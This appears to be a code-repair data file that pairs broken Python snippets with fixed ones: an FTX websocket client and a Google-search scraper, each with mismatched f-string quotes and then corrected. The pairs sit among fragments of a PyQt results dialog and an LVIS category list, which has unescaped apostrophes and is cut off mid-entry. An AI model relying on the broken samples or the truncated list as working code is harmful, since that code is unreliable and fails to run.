y_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[1]}_L_err'], df[f'{ax_vars[1]}_H_err'])])
repl.append(df['Repl'].tolist())
else:
for cat_label in categories:
if isinstance(cat_label, str) and \
(cat_label.startswith('Dose') or cat_label.startswith('Flux') or
cat_label.startswith('BkgDose') or cat_label.startswith('BkgFlux')):
df = self.parent.scenario_stats_df.loc[self.parent.scenario_stats_df[cat_label] != 0]
x.append(df[cat_label].to_list())
else:
df = self.parent.scenario_stats_df.loc[self.parent.scenario_stats_df[cat] == cat_label]
x.append(df[ax_vars[0]].to_list())
repl.append(df['Repl'].tolist())
if ax_vars[0] in ['PID', 'C&C']:
x_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[0]}_L_err'], df[f'{ax_vars[0]}_H_err'])])
if ax_vars[1]:
y.append(df[ax_vars[1]].to_list())
if ax_vars[1] in ['PID', 'C&C']:
y_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[1]}_L_err'], df[f'{ax_vars[1]}_H_err'])])
dialog = ResultPlottingDialog(self, x, y, titles, categories, repl, x_err, y_err)
dialog.exec_()
except Exception as e:
traceback.print_exc()
logging.exception("Handled Exception", exc_info=True)
QMessageBox.information(self, "Info", "Sorry, the requested plot cannot be generated because:\n" + str(e))
return
@pyqtSlot(bool)
def on_btnSettings_clicked(self, checked):
"""
Launches the results table settings dialog
"""
idx = self.results_model.scenario_desc_col_index()
dialog = ResultsTableSettings(self)
dialog.exec_()
self.results_model.reset_data(self.parent.scenario_stats_df)
if idx is not None:
self.tblResView.setItemDelegateForColumn(idx, QStyledItemDelegate())
if self.results_model.scenario_desc_col_index() is not None:
self.tblResView.setItemDelegateForColumn(self.results_model.scenario_desc_col_index(), HtmlDelegate())
self.tblResView.resizeColumnsToContents()
self.tblResView.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
class ResultsTableSettings(QDialog):
"""Simple Dialog to allow the user to select which column to display in the results table
The settings are stored persistently in the RaseSettings class
:param parent: the parent dialog
"""
def __init__(self, parent):
QDialog.__init__(self, parent)
cols_list = ['Det/Replay', 'Scen Desc', 'Dose', 'Flux', 'Background Dose', 'Background Flux',
'Infl', 'AcqTime', 'Repl', 'PID', 'PID CI', 'C&C', 'C&C CI', 'TP', 'FP', 'FN',
'Precision', 'Recall', 'F_Score', 'wTP', 'wFP', 'wFN', 'wPrecision', 'wRecall', 'wF_Score']
# QT treats the ampersand symbol as a special character, so it needs special treatment
self.cb_list = [QCheckBox(v.replace('&', '&&')) for v in cols_list]
layout = QVBoxLayout()
for cb in self.cb_list:
# if not (cb.text() == self.not_fd_mode):
layout.addWidget(cb)
self.buttonBox = QDialogButtonBox(self)
self.buttonBox.setStandardButtons(QDialogButtonBox.Cancel|QDialogButtonBox.Ok)
self.buttonBox.accepted.connect(self.accept)
self.buttonBox.rejected.connect(self.reject)
layout.addWidget(self.buttonBox)
self.setLayout(layout)
if RaseSettings().getResultsTableSettings():
self.set_current_settings()
else:
self.set_default()
def set_default(self):
"""
Sets default selection
"""
for cb in self.cb_list:
if cb.text() == 'Scen Desc':
cb.setChecked(False)
else:
cb.setChecked(True)
def set_current_settings(self):
"""
Loads and apply the stored settings
"""
for cb in self.cb_list:
if cb.text().replace('&&', '&') in RaseSettings().getResultsTableSettings():
cb.setChecked(True)
else:
cb.setChecked(False)
@pyqtSlot()
def accept(self):
"""
Stores the selected values in the RaseSettings class
"""
selected = [cb.text().replace('&&', '&') for cb in self.cb_list if cb.isChecked()]
RaseSettings().setResultsTableSettings(selected)
return QDialog.accept(self)
class HtmlDelegate(QStyledItemDelegate):
'''render html text passed to the table widget item'''
def paint(self, painter, option, index):
self.initStyleOption(option, index)
style = option.widget.style() if option.widget else QApplication.style()
palette = QApplication.palette()
color = palette.highlight().color() \
if option.state & QStyle.State_Selected \
else palette.base()
ctx = QAbstractTextDocumentLayout.PaintContext()
textRect = style.subElementRect(QStyle.SE_ItemViewItemText, option)
painter.save()
painter.fillRect(option.rect, color)
painter.translate(textRect.topLeft())
painter.setClipRect(textRect.translated(-textRect.topLeft()))
doc = QTextDocument()
doc.setHtml(option.text)
doc.documentLayout().draw(painter, ctx)
painter.restore()
def sizeHint(self, option, index):
fm = option.fontMetrics
document = QTextDocument()
document.setDefaultFont(option.font)
document.setHtml(index.model().data(index, Qt.DisplayRole))
return QSize(document.idealWidth() + 20, fm.height())
class FrequencyTableDialog(QDialog):
"""Display a table of data from an input dictionary
:param data: the input dictionary data
:param parent: the parent dialog
"""
def __init__(self, parent, data):
QDialog.__init__(self, parent)
self.setWindowTitle("Results Frequency Analysis")
self.data = data
self.tableWidget = QTableWidget()
self.tableWidget.setContextMenuPolicy(Qt.CustomContextMenu)
self.tableWidget.customContextMenuRequested.connect(self.show_context_menu)
self.setData()
self.buttonBox = QDialogButtonBox(self)
self.buttonBox.setStandardButtons(QDialogButtonBox.Ok)
self.buttonBox.accepted.connect(self.accept)
self.widget = QWidget(self)
self.widget.setMinimumSize(QSize(300, 300))
self.fig = Figure()
self.canvas = FigureCanvas(self.fig)
self.canvas.setParent(self.widget)
self.ax = self.fig.add_subplot(111)
self.navi_toolbar = NavigationToolbar(self.canvas, self.widget)
self.layout = QVBoxLayout()
self.layout.addWidget(self.tableWidget)
self.layout.addWidget(self.canvas)
self.layout.addWidget(self.navi_toolbar)
self.layout.addWidget(self.buttonBox)
self.setLayout(self.layout)
self.draw()
def setData(self):
self.tableWidget.setRowCount(len(self.data.keys()))
self.tableWidget.setColumnCount(2)
for n, k in enumerate(self.data.keys()):
for col, value in enumerate([k, str(self.data[k])]):
item = QTableWidgetItem(value)
item.setTextAlignment(Qt.AlignCenter)
item.setFlags(item.flags() ^ Qt.ItemIsEditable)
self.tableWidget.setItem(n, col, item)
self.tableWidget.setHorizontalHeaderLabels(['Material', 'Frequency'])
def draw(self):
"""
Draws the bar plot with the frequency results
"""
self.ax.clear()
values = [float(v)*100 for v in self.data.values()]
sns.barplot(x=values, y=list(self.data.keys()), ax=self.ax)
self.ax.set_xlabel('Frequency [%]')
self.ax.set_ylabel('ID Result Label')
self.canvas.draw()
def get_selected_cells_as_text(self):
"""
Returns the selected cells of the table as plain text
"""
selected_rows = self.tableWidget.selectedIndexes()
text = ""
# show the context menu only if on an a valid part of the table
if selected_rows:
cols = set(index.column() for index in self.tableWidget.selectedIndexes())
for row in set(index.row() for index in self.tableWidget.selectedIndexes()):
text += "\t".join([self.tableWidget.item(row, col).text() for col in cols])
text += '\n'
return text
def keyPressEvent(self, e):
if e.key() == Qt.Key_Copy or e.key == QKeySequence(QKeySequence.Copy) or e.key() == 67:
QApplication.clipboard().setText(self.get_selected_cells_as_text())
@pyqtSlot(QPoint)
def show_context_menu(self, point):
"""
Handles "Copy" right click selections on the table
"""
copy_action = QAction('Copy', self)
menu = QMenu(self.tableWidget)
menu.addAction(copy_action)
action = menu.exec_(self.tableWidget.mapToGlobal(point))
if action == copy_action:
QApplication.clipboard().setText(self.get_selected_cells_as_text())
|
import asyncio
import websockets
from ftx_python.stream.channel import Channel
from ftx_python.stream.subscription import Subscription
import json
from typing import Union, Dict, DefaultDict
import warnings
import time
import hmac
from collections import defaultdict
from itertools import zip_longest
import zlib
import logging
class FtxWebsocketClient:
_ENDPOINT = 'wss://ftx.com/ws/'
_PING_INTERVAL = 15
def __init__(self, subscriptions: [Union[Subscription, dict]], hooks: {Channel: callable}, api_key: str = None,
api_secret: str = None) -> None:
self._subscriptions = subscriptions
self._hooks = hooks
self._api_key = api_key
self._api_secret = api_secret
self._ws = None
self._orderbooks: DefaultDict[str, Dict[str, DefaultDict[float, float]]] = defaultdict(
lambda: {side: defaultdict(float) for side in {'bids', 'asks'}})
@property
def orderbooks(self) -> Dict:
return self._orderbooks.copy()
async def _send_json(self, msg: Dict) -> None:
if self._ws is None:
raise Exception(f'Trying to send message {msg} but the websocket is not connected.')
await self._ws.send(json.dumps(msg))
async def _subscribe(self, subscription: Dict) -> None:
await self._send_json({'op': 'subscribe', **subscription})
async def _unsubscribe(self, subscription: Dict) -> None:
await self._send_json({'op': 'unsubscribe', **subscription})
async def _login(self) -> None:
ts = int(time.time() * 1000)
await self._send_json({'op': 'login',
'args': {
'key': self._api_key,
'sign': hmac.new(self._api_secret.encode(),
f'{ts}websocket_login'.encode(),
'sha256').hexdigest(),
'time': ts}
})
def _reset_orderbook(self, market: str) -> None:
if market in self._orderbooks:
del self._orderbooks[market]
async def _handle_orderbook_message(self, message: Dict) -> None:
market = message['market']
data = message['data']
if data['action'] == 'partial':
self._reset_orderbook(market)
for side in {'bids', 'asks'}:
book = self._orderbooks[market][side]
for price, size in data[side]:
if size:
book[price] = size
else:
del book[price]
checksum = data['checksum']
orderbook = self._orderbooks[market]
bid_prices = sorted(orderbook['bids'].keys(), reverse=True)[:100]
bids = zip(bid_prices, (orderbook['bids'][price] for price in bid_prices))
ask_prices = sorted(orderbook['asks'].keys())[:100]
asks = zip(ask_prices, (orderbook['asks'][price] for price in ask_prices))
checksum_data = [
':'.join([f'{float(order[0])}:{float(order[1])}' for order in (bid, offer) if order])
for (bid, offer) in zip_longest(bids, asks)
]
computed_result = int(zlib.crc32(':'.join(checksum_data).encode()))
if computed_result != checksum:
self._reset_orderbook(market)
await self._unsubscribe({'market': market, 'channel': 'orderbook'})
await self._subscribe({'market': market, 'channel': 'orderbook'})
async def run(self) -> None:
async with websockets.connect(self._ENDPOINT, ssl=True, ping_interval=self._PING_INTERVAL) as self._ws:
if None not in [self._api_key, self._api_secret]:
await self._login()
for subscription in self._subscriptions:
subs_dict = subscription.__dict__ if isinstance(subscription, Subscription) else subscription
if subs_dict['channel'] in ['fills', 'orders'] and None in [self._api_key, self._api_secret]:
raise Exception(f'An API key and secret needs to be provided to access the {subs_dict['channel']} '
f'channel.')
await self._subscribe(subs_dict)
async for message in self._ws:
data = json.loads(message)
if 'channel' in data.keys():
if data['channel'] == 'orderbook' and data['type'] not in ['subscribed', 'unsubscribed']:
await self._handle_orderbook_message(data)
if data['channel'] in self._hooks.keys():
func = self._hooks[data['channel']]
args = (data, self.orderbooks[data['market']]) if data['channel'] == 'orderbook' else (data,)
if asyncio.iscoroutinefunction(func):
await func(*args)
else:
func(*args)
else:
warnings.warn(f'No hook provided for {data['channel']} channel.')
else:
logging.info(data)
| import asyncio
import websockets
from ftx_python.stream.channel import Channel
from ftx_python.stream.subscription import Subscription
import json
from typing import Union, Dict, DefaultDict
import warnings
import time
import hmac
from collections import defaultdict
from itertools import zip_longest
import zlib
import logging
class FtxWebsocketClient:
_ENDPOINT = 'wss://ftx.com/ws/'
_PING_INTERVAL = 15
def __init__(self, subscriptions: [Union[Subscription, dict]], hooks: {Channel: callable}, api_key: str = None,
api_secret: str = None) -> None:
self._subscriptions = subscriptions
self._hooks = hooks
self._api_key = api_key
self._api_secret = api_secret
self._ws = None
self._orderbooks: DefaultDict[str, Dict[str, DefaultDict[float, float]]] = defaultdict(
lambda: {side: defaultdict(float) for side in {'bids', 'asks'}})
@property
def orderbooks(self) -> Dict:
return self._orderbooks.copy()
async def _send_json(self, msg: Dict) -> None:
if self._ws is None:
raise Exception(f'Trying to send message {msg} but the websocket is not connected.')
await self._ws.send(json.dumps(msg))
async def _subscribe(self, subscription: Dict) -> None:
await self._send_json({'op': 'subscribe', **subscription})
async def _unsubscribe(self, subscription: Dict) -> None:
await self._send_json({'op': 'unsubscribe', **subscription})
async def _login(self) -> None:
ts = int(time.time() * 1000)
await self._send_json({'op': 'login',
'args': {
'key': self._api_key,
'sign': hmac.new(self._api_secret.encode(),
f'{ts}websocket_login'.encode(),
'sha256').hexdigest(),
'time': ts}
})
def _reset_orderbook(self, market: str) -> None:
if market in self._orderbooks:
del self._orderbooks[market]
async def _handle_orderbook_message(self, message: Dict) -> None:
market = message['market']
data = message['data']
if data['action'] == 'partial':
self._reset_orderbook(market)
for side in {'bids', 'asks'}:
book = self._orderbooks[market][side]
for price, size in data[side]:
if size:
book[price] = size
else:
del book[price]
checksum = data['checksum']
orderbook = self._orderbooks[market]
bid_prices = sorted(orderbook['bids'].keys(), reverse=True)[:100]
bids = zip(bid_prices, (orderbook['bids'][price] for price in bid_prices))
ask_prices = sorted(orderbook['asks'].keys())[:100]
asks = zip(ask_prices, (orderbook['asks'][price] for price in ask_prices))
checksum_data = [
':'.join([f'{float(order[0])}:{float(order[1])}' for order in (bid, offer) if order])
for (bid, offer) in zip_longest(bids, asks)
]
computed_result = int(zlib.crc32(':'.join(checksum_data).encode()))
if computed_result != checksum:
self._reset_orderbook(market)
await self._unsubscribe({'market': market, 'channel': 'orderbook'})
await self._subscribe({'market': market, 'channel': 'orderbook'})
async def run(self) -> None:
async with websockets.connect(self._ENDPOINT, ssl=True, ping_interval=self._PING_INTERVAL) as self._ws:
if None not in [self._api_key, self._api_secret]:
await self._login()
for subscription in self._subscriptions:
subs_dict = subscription.__dict__ if isinstance(subscription, Subscription) else subscription
if subs_dict['channel'] in ['fills', 'orders'] and None in [self._api_key, self._api_secret]:
raise Exception(f'An API key and secret needs to be provided to access the {subs_dict["channel"]} '
f'channel.')
await self._subscribe(subs_dict)
async for message in self._ws:
data = json.loads(message)
if 'channel' in data.keys():
if data['channel'] == 'orderbook' and data['type'] not in ['subscribed', 'unsubscribed']:
await self._handle_orderbook_message(data)
if data['channel'] in self._hooks.keys():
func = self._hooks[data['channel']]
args = (data, self.orderbooks[data['market']]) if data['channel'] == 'orderbook' else (data,)
if asyncio.iscoroutinefunction(func):
await func(*args)
else:
func(*args)
else:
warnings.warn(f'No hook provided for {data["channel"]} channel.')
else:
logging.info(data)
|
import sys
import webbrowser
from bs4 import BeautifulSoup
from fake_useragent import UserAgent
import requests
if __name__ == "__main__":
print("Googling.....")
url = "https://www.google.com/search?q=" + " ".join(sys.argv[1:])
res = requests.get(url, headers={"UserAgent": UserAgent().random})
# res.raise_for_status()
with open("project1a.html", "wb") as out_file: # only for knowing the class
for data in res.iter_content(10000):
out_file.write(data)
soup = BeautifulSoup(res.text, "html.parser")
links = list(soup.select(".eZt8xd"))[:5]
print(len(links))
for link in links:
webbrowser.open(f"http://google.com{link.get("href")}")
| import sys
import webbrowser
from bs4 import BeautifulSoup
from fake_useragent import UserAgent
import requests
if __name__ == "__main__":
print("Googling.....")
url = "https://www.google.com/search?q=" + " ".join(sys.argv[1:])
res = requests.get(url, headers={"UserAgent": UserAgent().random})
# res.raise_for_status()
with open("project1a.html", "wb") as out_file: # only for knowing the class
for data in res.iter_content(10000):
out_file.write(data)
soup = BeautifulSoup(res.text, "html.parser")
links = list(soup.select(".eZt8xd"))[:5]
print(len(links))
for link in links:
webbrowser.open(f"http://google.com{link.get('href')}")
|
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
# Autogen with
# import json
#
# with open("/datasets/lvis/lvis_v1_val_headv1.json", "r") as f:
# a = json.load(f)
# c = a["categories"]
# for x in c:
# del x["image_count"]
# del x["instance_count"]
# LVIS_CATEGORIES = repr(c) + " # noqa"
# with open("/tmp/lvis_categories.py", "wt") as f:
# f.write(f"LVIS_CATEGORIES = {LVIS_CATEGORIES}")
# Then paste the contents of that file below
# fmt: off
LVIS_CATEGORIES = [{'synonyms': ['aerosol_can', 'spray_can'], 'def': 'a dispenser that holds a substance under pressure', 'id': 0, 'synset': 'aerosol.n.02', 'name': 'aerosol_can', 'frequency': 'c'}, {'synonyms': ['air_conditioner'], 'def': 'a machine that keeps air cool and dry', 'id': 1, 'synset': 'air_conditioner.n.01', 'name': 'air_conditioner', 'frequency': 'f'}, {'synonyms': ['airplane', 'aeroplane'], 'def': 'an aircraft that has a fixed wing and is powered by propellers or jets', 'id': 2, 'synset': 'airplane.n.01', 'name': 'airplane', 'frequency': 'f'}, {'synonyms': ['alarm_clock'], 'def': 'a clock that wakes a sleeper at some preset time', 'id': 3, 'synset': 'alarm_clock.n.01', 'name': 'alarm_clock', 'frequency': 'f'}, {'synonyms': ['alcohol', 'alcoholic_beverage'], 'def': 'a liquor or brew containing alcohol as the active agent', 'id': 4, 'synset': 'alcohol.n.01', 'name': 'alcohol', 'frequency': 'c'}, {'synonyms': ['alligator', 'gator'], 'def': 'amphibious reptiles related to crocodiles but with shorter broader snouts', 'id': 5, 'synset': 'alligator.n.02', 'name': 'alligator', 'frequency': 'c'}, {'synonyms': ['almond'], 'def': 'oval-shaped edible seed of the almond tree', 'id': 6, 'synset': 'almond.n.02', 'name': 'almond', 'frequency': 'c'}, {'synonyms': ['ambulance'], 'def': 'a vehicle that takes people to and from hospitals', 'id': 7, 'synset': 'ambulance.n.01', 'name': 'ambulance', 'frequency': 'c'}, {'synonyms': ['amplifier'], 'def': 'electronic equipment that increases strength of signals', 'id': 8, 'synset': 'amplifier.n.01', 'name': 'amplifier', 'frequency': 'c'}, {'synonyms': ['anklet', 'ankle_bracelet'], 'def': 'an ornament worn around the ankle', 'id': 9, 'synset': 'anklet.n.03', 'name': 'anklet', 'frequency': 'c'}, {'synonyms': ['antenna', 'aerial', 'transmitting_aerial'], 'def': 'an electrical device that sends or receives radio or television signals', 'id': 10, 'synset': 'antenna.n.01', 'name': 'antenna', 'frequency': 'f'}, {'synonyms': ['apple'], 'def': 'fruit with red or yellow or green skin and sweet to tart crisp whitish flesh', 'id': 11, 'synset': 'apple.n.01', 'name': 'apple', 'frequency': 'f'}, {'synonyms': ['apron'], 'def': 'a garment of cloth that is tied about the waist and worn to protect clothing', 'id': 12, 'synset': 'apron.n.01', 'name': 'apron', 'frequency': 'f'}, {'synonyms': ['aquarium', 'fish_tank'], 'def': 'a tank/pool/bowl filled with water for keeping live fish and underwater animals', 'id': 13, 'synset': 'aquarium.n.01', 'name': 'aquarium', 'frequency': 'c'}, {'synonyms': ['armband'], 'def': 'a band worn around the upper arm', 'id': 14, 'synset': 'armband.n.02', 'name': 'armband', 'frequency': 'c'}, {'synonyms': ['armchair'], 'def': 'chair with a support on each side for arms', 'id': 15, 'synset': 'armchair.n.01', 'name': 'armchair', 'frequency': 'f'}, {'synonyms': ['artichoke'], 'def': 'a thistlelike flower head with edible fleshy leaves and heart', 'id': 16, 'synset': 'artichoke.n.02', 'name': 'artichoke', 'frequency': 'c'}, {'synonyms': ['trash_can', 'garbage_can', 'wastebin', 'dustbin', 'trash_barrel', 'trash_bin'], 'def': 'a bin that holds rubbish until it is collected', 'id': 17, 'synset': 'ashcan.n.01', 'name': 'trash_can', 'frequency': 'f'}, {'synonyms': ['ashtray'], 'def': 'a receptacle for the ash from smokers' cigars or cigarettes', 'id': 18, 'synset': 'ashtray.n.01', 'name': 'ashtray', 'frequency': 'c'}, {'synonyms': ['asparagus'], 'def': 'edible young shoots of the asparagus plant', 'id': 19, 'synset': 'asparagus.n.02', 'name': 'asparagus', 'frequency': 'c'}, {'synonyms': ['atomizer', 'atomiser', 'spray', 'sprayer', 'nebulizer', 'nebuliser'], 'def': 'a dispenser that turns a liquid (such as perfume) into a fine mist', 'id': 20, 'synset': 'atomizer.n.01', 'name': 'atomizer', 'frequency': 'c'}, {'synonyms': ['avocado'], 'def': 'a pear-shaped fruit with green or blackish skin and rich yellowish pulp enclosing a single large seed', 'id': 21, 'synset': 'avocado.n.01', 'name': 'avocado', 'frequency': 'f'}, {'synonyms': ['award', 'accolade'], 'def': 'a tangible symbol signifying approval or distinction', 'id': 22, 'synset': 'award.n.02', 'name': 'award', 'frequency': 'c'}, {'synonyms': ['awning'], 'def': 'a canopy made of canvas to shelter people or things from rain or sun', 'id': 23, 'synset': 'awning.n.01', 'name': 'awning', 'frequency': 'f'}, {'synonyms': ['baby_buggy', 'baby_carriage', 'perambulator', 'pram', 'stroller'], 'def': 'a small vehicle with four wheels in which a baby or child is pushed around', 'id': 24, 'synset': 'baby_buggy.n.01', 'name': 'baby_buggy', 'frequency': 'f'}, {'synonyms': ['basketball_backboard'], 'def': 'a raised vertical board with basket attached; used to play basketball', 'id': 25, 'synset': 'backboard.n.01', 'name': 'basketball_backboard', 'frequency': 'c'}, {'synonyms': ['backpack', 'knapsack', 'packsack', 'rucksack', 'haversack'], 'def': 'a bag carried by a strap on your back or shoulder', 'id': 26, 'synset': 'backpack.n.01', 'name': 'backpack', 'frequency': 'f'}, {'synonyms': ['handbag', 'purse', 'pocketbook'], 'def': 'a container used for carrying money and small personal items or accessories', 'id': 27, 'synset': 'bag.n.04', 'name': 'handbag', 'frequency': 'f'}, {'synonyms': ['suitcase', 'baggage', 'luggage'], 'def': 'cases used to carry belongings when traveling', 'id': 28, 'synset': 'bag.n.06', 'name': 'suitcase', 'frequency': 'f'}, {'synonyms': ['bagel', 'beigel'], 'def': 'glazed yeast-raised doughnut-shaped roll with hard crust', 'id': 29, 'synset': 'bagel.n.01', 'name': 'bagel', 'frequency': 'c'}, {'synonyms': ['ball'], 'def': 'a spherical object used as a plaything', 'id': 30, 'synset': 'ball.n.06', 'name': 'ball', 'frequency': 'f'}, {'synonyms': ['balloon'], 'def': 'large tough nonrigid bag filled with gas or heated air', 'id': 31, 'synset': 'balloon.n.01', 'name': 'balloon', 'frequency': 'f'}, {'synonyms': ['bamboo'], 'def': 'woody tropical grass having hollow woody stems', 'id': 32, 'synset': 'bamboo.n.02', 'name': 'bamboo', 'frequency': 'c'}, {'synonyms': ['banana'], 'def': 'elongated crescent-shaped yellow fruit with soft sweet flesh', 'id': 33, 'synset': 'banana.n.02', 'name': 'banana', 'frequency': 'f'}, {'synonyms': ['Band_Aid'], 'def': 'trade name for an adhesive bandage to cover small cuts or blisters', 'id': 34, 'synset': 'band_aid.n.01', 'name': 'Band_Aid', 'frequency': 'c'}, {'synonyms': ['bandage'], 'def': 'a piece of soft material that covers and protects an injured part of the body', 'id': 35, 'synset': 'bandage.n.01', 'name': 'bandage', 'frequency': 'c'}, {'synonyms': ['bandanna', 'bandana'], 'def': 'large and brightly colored handkerchief; often used as a neckerchief', 'id': 36, 'synset': 'bandanna.n.01', 'name': 'bandanna', 'frequency': 'f'}, {'synonyms': ['banner', 'streamer'], 'def': 'long strip of cloth or paper used for decoration or advertising', 'id': 37, 'synset': 'banner.n.01', 'name': 'banner', 'frequency': 'f'}, {'synonyms': ['barrel', 'cask'], 'def': 'a cylindrical container that holds liquids', 'id': 38, 'synset': 'barrel.n.02', 'name': 'barrel', 'frequency': 'f'}, {'synonyms': ['barrette'], 'def': 'a pin for holding women's hair in place', 'id': 39, 'synset': 'barrette.n.01', 'name': 'barrette', 'frequency': 'c'}, {'synonyms': ['barrow', 'garden_cart', 'lawn_cart', 'wheelbarrow'], 'def': 'a cart for carrying small loads; has handles and one or more wheels', 'id': 40, 'synset': 'barrow.n.03', 'name': 'barrow', 'frequency': 'c'}, {'synonyms': ['baseball_base'], 'def': 'a place that the runner must touch before scoring', 'id': 41, 'synset': 'base.n.03', 'name': 'baseball_base', 'frequency': 'f'}, {'synonyms': ['baseball'], 'def': 'a ball used in playing baseball', 'id': 42, 'synset': 'baseball.n.02', 'name': 'baseball', 'frequency': 'f'}, {'synonyms': ['baseball_bat'], 'def': 'an implement used in baseball by the batter', 'id': 43, 'synset': 'baseball_bat.n.01', 'name': 'baseball_bat', 'frequency': 'f'}, {'synonyms': ['baseball_cap', 'jockey_cap', 'golf_cap'], 'def': 'a cap with a bill', 'id': 44, 'synset': 'baseball_cap.n.01', 'name': 'baseball_cap', 'frequency': 'f'}, {'synonyms': ['baseball_glove', 'baseball_mitt'], 'def': 'the handwear used by fielders in playing baseball', 'id': 45, 'synset': 'baseball_glove.n.01', 'name': 'baseball_glove', 'frequency': 'f'}, {'synonyms': ['basket', 'handbasket'], 'def': 'a container that is usually woven and has handles', 'id': 46, 'synset': 'basket.n.01', 'name': 'basket', 'frequency': 'f'}, {'synonyms': ['basketball'], 'def': 'an inflated ball used in playing basketball', 'id': 47, 'synset': 'basketball.n.02', 'name': 'basketball', 'frequency': 'c'}, {'synonyms': ['bat_(animal)'], 'def': 'nocturnal mouselike mammal with forelimbs modified to form membranous wings', 'id': 48, 'synset': 'bat.n.01', 'name': 'bat_(animal)', 'frequency': 'c'}, {'synonyms': ['bath_mat'], 'def': 'a heavy towel or mat to stand on while drying yourself after a bath', 'id': 49, 'synset': 'bath_mat.n.01', 'name': 'bath_mat', 'frequency': 'f'}, {'synonyms': ['bath_towel'], 'def': 'a large towel; to dry yourself after a bath', 'id': 50, 'synset': 'bath_towel.n.01', 'name': 'bath_towel', 'frequency': 'f'}, {'synonyms': ['bathrobe'], 'def': 'a loose-fitting robe of towelling; worn after a bath or swim', 'id': 51, 'synset': 'bathrobe.n.01', 'name': 'bathrobe', 'frequency': 'c'}, {'synonyms': ['bathtub', 'bathing_tub'], 'def': 'a large open container that you fill with water and use to wash the body', 'id': 52, 'synset': 'bathtub.n.01', 'name': 'bathtub', 'frequency': 'f'}, {'synonyms': ['battery'], 'def': 'a portable device that produces electricity', 'id': 53, 'synset': 'battery.n.02', 'name': 'battery', 'frequency': 'c'}, {'synonyms': ['bead'], 'def': 'a small ball with a hole through the middle used for ornamentation, jewellery, etc.', 'id': 54, 'synset': 'bead.n.01', 'name': 'bead', 'frequency': 'c'}, {'synonyms': ['bean_curd', 'tofu'], 'def': 'cheeselike food made of curdled soybean milk', 'id': 55, 'synset': 'bean_curd.n.01', 'name': 'bean_curd', 'frequency': 'c'}, {'synonyms': ['beanbag'], 'def': 'a bag filled with dried beans or similar items; used in games or to sit on', 'id': 56, 'synset': 'beanbag.n.01', 'name': 'beanbag', 'frequency': 'c'}, {'synonyms': ['beanie', 'beany'], 'def': 'a small skullcap; formerly worn by schoolboys and college freshmen', 'id': 57, 'synset': 'beanie.n.01', 'name': 'beanie', 'frequency': 'f'}, {'synonyms': ['bear'], 'def': 'large carnivorous or omnivorous mammals with shaggy coats and claws', 'id': 58, 'synset': 'bear.n.01', 'name': 'bear', 'frequency': 'f'}, {'synonyms': ['bed'], 'def': 'a piece of furniture that provides a place to sleep', 'id': 59, 'synset': 'bed.n.01', 'name': 'bed', 'frequency': 'f'}, {'synonyms': ['bedspread', 'bedcover', 'bed_covering', 'counterpane', 'spread'], 'def': 'decorative cover for a bed', 'id': 60, 'synset': 'bedspread.n.01', 'name': 'bedspread', 'frequency': 'f'}, {'synonyms': ['cow'], 'def': 'cattle/cow', 'id': 61, 'synset': 'beef.n.01', 'name': 'cow', 'frequency': 'f'}, {'synonyms': ['beef_(food)', 'boeuf_(food)'], 'def': 'meat from an adult domestic bovine', 'id': 62, 'synset': 'beef.n.02', 'name': 'beef_(food)', 'frequency': 'f'}, {'synonyms': ['beer_bottle'], 'def': 'a bottle that holds beer', 'id': 63, 'synset': 'beer_bottle.n.01', 'name': 'beer_bottle', 'frequency': 'f'}, {'synonyms': ['beer_can'], 'def': 'a can that holds beer', 'id': 64, 'synset': 'beer_can.n.01', 'name': 'beer_can', 'frequency': 'c'}, {'synonyms': ['bell'], 'def': 'a hollow device made of metal that makes a ringing sound when struck', 'id': 65, 'synset': 'bell.n.01', 'name': 'bell', 'frequency': 'f'}, {'synonyms': ['bell_pepper', 'capsicum'], 'def': 'large bell-shaped sweet pepper in green or red or yellow or orange or black varieties', 'id': 66, 'synset': 'bell_pepper.n.02', 'name': 'bell_pepper', 'frequency': 'f'}, {'synonyms': ['belt'], 'def': 'a band to tie or buckle around the body (usually at the waist)', 'id': 67, 'synset': 'belt.n.02', 'name': 'belt', 'frequency': 'f'}, {'synonyms': ['belt_buckle'], 'def': 'the buckle used to fasten a belt', 'id': 68, 'synset': 'belt_buckle.n.01', 'name': 'belt_buckle', 'frequency': 'f'}, {'synonyms': ['bench'], 'def': 'a long seat for more than one person', 'id': 69, 'synset': 'bench.n.01', 'name': 'bench', 'frequency': 'f'}, {'synonyms': ['beret'], 'def': 'a cap with no brim or bill; made of soft cloth', 'id': 70, 'synset': 'beret.n.01', 'name': 'beret', 'frequency': 'c'}, {'synonyms': ['bib'], 'def': 'a napkin tied under the chin of a child while eating', 'id': 71, 'synset': 'bib.n.02', 'name': 'bib', 'frequency': 'c'}, {'synonyms': ['bicycle', 'bike_(bicycle)'], 'def': 'a wheeled vehicle that has two wheels and is moved by foot pedals', 'id': 72, 'synset': 'bicycle.n.01', 'name': 'bicycle', 'frequency': 'f'}, {'synonyms': ['visor', 'vizor'], 'def': 'a brim that projects to the front to shade the eyes', 'id': 73, 'synset': 'bill.n.09', 'name': 'visor', 'frequency': 'f'}, {'synonyms': ['billboard'], 'def': 'large outdoor signboard', 'id': 74, 'synset': 'billboard.n.01', 'name': 'billboard', 'frequency': 'f'}, {'synonyms': ['binder', 'ring-binder'], 'def': 'holds loose papers or magazines', 'id': 75, 'synset': 'binder.n.03', 'name': 'binder', 'frequency': 'c'}, {'synonyms': ['binoculars', 'field_glasses', 'opera_glasses'], 'def': 'an optical instrument designed for simultaneous use by both eyes', 'id': 76, 'synset': 'binoculars.n.01', 'name': 'binoculars', 'frequency': 'c'}, {'synonyms': ['bird'], 'def': 'animal characterized by feathers and wings', 'id': 77, 'synset': 'bird.n.01', 'name': 'bird', 'frequency': 'f'}, {'synonyms': ['birdfeeder'], 'def': 'an outdoor device that supplies food for wild birds', 'id': 78, 'synset': 'bird_feeder.n.01', 'name': 'birdfeeder', 'frequency': 'c'}, {'synonyms': ['birdbath'], 'def': 'an ornamental basin (usually in a garden) for birds to bathe in', 'id': 79, 'synset': 'birdbath.n.01', 'name': 'birdbath', 'frequency': 'c'}, {'synonyms': ['birdcage'], 'def': 'a cage in which a bird can be kept', 'id': 80, 'synset': 'birdcage.n.01', 'name': 'birdcage', 'frequency': 'c'}, {'synonyms': ['birdhouse'], 'def': 'a shelter for birds', 'id': 81, 'synset': 'birdhouse.n.01', 'name': 'birdhouse', 'frequency': 'c'}, {'synonyms': ['birthday_cake'], 'def': 'decorated cake 